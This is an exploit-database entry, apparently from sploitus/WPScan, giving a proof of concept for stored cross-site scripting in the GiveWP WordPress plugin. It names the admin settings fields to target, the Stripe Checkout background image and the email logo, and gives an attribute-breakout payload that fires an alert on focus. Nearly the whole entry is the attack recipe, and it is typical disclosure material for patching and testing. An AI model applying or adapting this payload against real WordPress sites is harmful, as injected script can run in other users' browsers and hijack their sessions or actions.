## https://sploitus.com/exploit?id=WPEX-ID:006B37C9-641C-4676-A315-9B6053E001D2
As admin, put the payload below in the Background Image field of the Stripe Checkout settings (/wp-admin/edit.php?post_type=give_forms&page=give-settings&tab=gateways§ion=stripe-settings&group=checkout) or Logo field in the Email Settings (/wp-admin/edit.php?post_type=give_forms&page=give-settings&tab=emails§ion=email-settings)
" autofocus onfocus=alert(/XSS/)//